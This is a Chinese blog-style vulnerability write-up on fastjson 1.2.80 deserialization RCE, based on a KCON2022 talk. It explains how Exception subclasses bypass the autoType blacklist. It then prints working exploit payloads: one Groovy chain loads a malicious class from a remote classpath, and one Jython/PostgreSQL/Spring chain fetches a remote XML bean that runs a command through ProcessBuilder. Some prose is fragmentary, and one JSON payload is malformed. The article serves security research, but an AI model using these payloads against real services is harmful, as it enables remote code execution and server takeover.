原创 | 从KCON2022议题来看fastjson新版本RCE
点击蓝字
关注我们
首先还是贴一点前面几篇文章已经提到的分析,作为一点对fastsjon 1.2.80的基础知识,当然,还是不懂得,可以看我有一篇fastjson的分析合集,从fastjson从无到有的漏洞都有。
对上个版本的修复
java.lang.AutoCloseable
加入了黑名单。AutoCloseable
可以进行绕过,Throwable
也可以进行绕过,简单分析一下。Deserializer
可以将expressClass
作为checkAutoType
的参数,且能够突破expressClass的限制,正如这里的ThrowableDeserializer#deserialze
中存在。这里限制了必须为Throwable
类或子类,存在一个java.lang.Exception
类,不仅在TypeUtils.mappings
中存在,而且没有在黑名单中。
所以只需要找到继承java.lang.Exception
的类,就能够绕过检查,跟进代码,在第一次进入checkAutoType
中的时候expectClass为null。
ParserConfig#getDeserializer
通过clazz获取到了反序列化器为ThrowableDeserializer
。derserialize
方法,跟进。之后在这里获取下一个@type
。
最后在这里将java.lang.Exception
类作为expressClass
传入,也能够成功绕过黑名单的检验
因为Exception类也是继承至Throwable
类,所以我们在寻在payload的时候就可以通过寻找Throwable
的子类就可以将特定类添加进入缓存中。
其在议题中阐述主要得触发点就是在JSON.toJavaObject
方法中。
他会调用TypeUtils.cast
方法,跟进一下。
castToJavaBean
中。这里通过map.get获取了@type
标志后的对象,这里有一个需要注意的点就是需要将@type
通过"@type":"java.lang.String"
将其转为字符串,不然会将其后面的内容进行反序列化操作,之后将会将其类加入缓存,并且调用了最后的return语句调用castToJavaBean
方法。
Locale
类等等,在最后关键的是有一个javaBeanDeserializer的一个获取,对于Exception类来说。对于Exception
类来说因为继承至Throwable
类,所以其对应的反序列化器就是ThrowableDeserializer
。
特别的,对于这个序列化器,由下图可以很明白的知道他是继承至JavaBeanDeserializer
反序列化器的。
castToJavaBean
方法中,就能够满足deserializer instanceof JavaBeanDeserializer
的判断条件,将反序列化其传递给javaBeanDeser
,最后调用了其createInstance
方法,触发了后面的反序列化链。RCE1
Throwable
的子类org.codehaus.groovy.control.CompilationFailedException
类中做文章。在这个构造方法中存在一个ProcessingUnit
类型的参数unit
,至于为什么选择这个构造方法,而不是下面的两个形参的构造方法呢?这就是因为在JavaBean实例化机制中如果有多个构造方法就会选用形参较多的一个构造方法,回归正题,跟进ProcessingUnit
。
JavaStubCompilationUnit
这样一个子类。在其构造方法中存在有CompilerConfiguration
类型的config,因为在构造方法中会调用父类的构造方法。
ProcessingUnit
的构造方法。setClassLoader
方法。JavaStubCompilationUnit
类的对象的时候我们只传入了一个参数config
,所以这里loader为Null, 创建GroovyClassLoader
类,最后会来到。ASTTransformationVisitor#addPhaseOperations
方法。紧接着调用了addGlobalTransforms
方法,最终会调用到addPhaseOperationsForGlobalTransforms
方法。
GroovyASTTransformation
注解,如果没有将会出现异常,之后会将类进行实例化。payload
public class Fj80_POC {
private static String poc1 = "{\n" +
" \"@type\":\"java.lang.Exception\",\n" +
" \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" +
" \"unit\":{}\n" +
"}";
private static String poc2 = "{\n" +
" \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" +
" \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" +
" \"config\":{\n" +
" \"@type\":\"org.codehaus.groovy.control.CompilerConfiguration\",\n" +
" \"classpathList\":\"http://127.0.0.1:9999/\"\n" +
" }\n" +
"}";
/*
META-INF/services/org.codehaus.groovy.transform.ASTTransformation
Evil
Evil.class
*/
public static void main(String[] args) {
try {
JSON.parseObject(poc1);
} catch (Exception e){}
JSON.parseObject(poc2);
}
}
import java.io.IOException;
import org.codehaus.groovy.ast.ASTNode;
import org.codehaus.groovy.control.SourceUnit;
import org.codehaus.groovy.transform.ASTTransformation;
import org.codehaus.groovy.transform.GroovyASTTransformation;
@GroovyASTTransformation
public class EvilObject111 implements ASTTransformation {
public void visit(ASTNode[] astNodes, SourceUnit sourceUnit) {}
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException var1) {
throw new RuntimeException(var1);
}
}
}
RCE2
org.python.antlr.ParseException
中,其中存在一个setType方法。PyObject
对象。com.ziclix.python.sql.PyConnection
类继承了PyObject
类,其构造方法中存在java.sql.Connection
的接口。ConnectionFactory.openConnection
的调用。openConnectionImpl
方法的执行。org.springframework.context.support.ClassPathXmlApplicationContext
类名,就会实例化这个类。payload
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg value="calc" />
<property name="a" value="#{ pb.start() }" />
</bean>
</beans>
private static String poc1 = "{\n" +
" \"@type\":\"java.lang.Exception\",\n" +
" \"@type\":\"org.python.antlr.ParseException\"\n" +
"}";
private static String poc2 = "{\n" +
" \"@type\":\"java.lang.Class\",\n" +
" \"val\":{\n" +
" \"@type\":\"com.alibaba.fastjson.JSONObject\",{\n" +
" \"@type\":\"java.lang.String\"\n" +
" \"@type\":\"org.python.antlr.ParseException\",\n" +
" \"type\":\"\"\n" +
" }\n" +
" }\n";
private static String poc3 = "{\n" +
" \"@type\":\"org.python.core.PyObject\",\n" +
" \"@type\":\"com.ziclix.python.sql.PyConnection\",\n" +
" \"connection\":{" +
" \"@type\":\"org.postgresql.jdbc.PgConnection\",\n" +
" \"hostSpecs\":[{\"host\":\"127.0.0.1\",\"port\":2333}],\n" +
" \"user\":\"user\",\n" +
" \"database\":\"test\",\n" +
" \"info\":{\n" +
" \"socketFactory\":\"org.springframework.context.support.ClassPathXmlApplicationContext\",\n" +
" \"socketFactoryArg\":\"http://127.0.0.1:9999/spring-Evil.xml\"\n" +
" },\n" +
" \"url\":\"\"\n" +
" }\n" +
"}";
往期推荐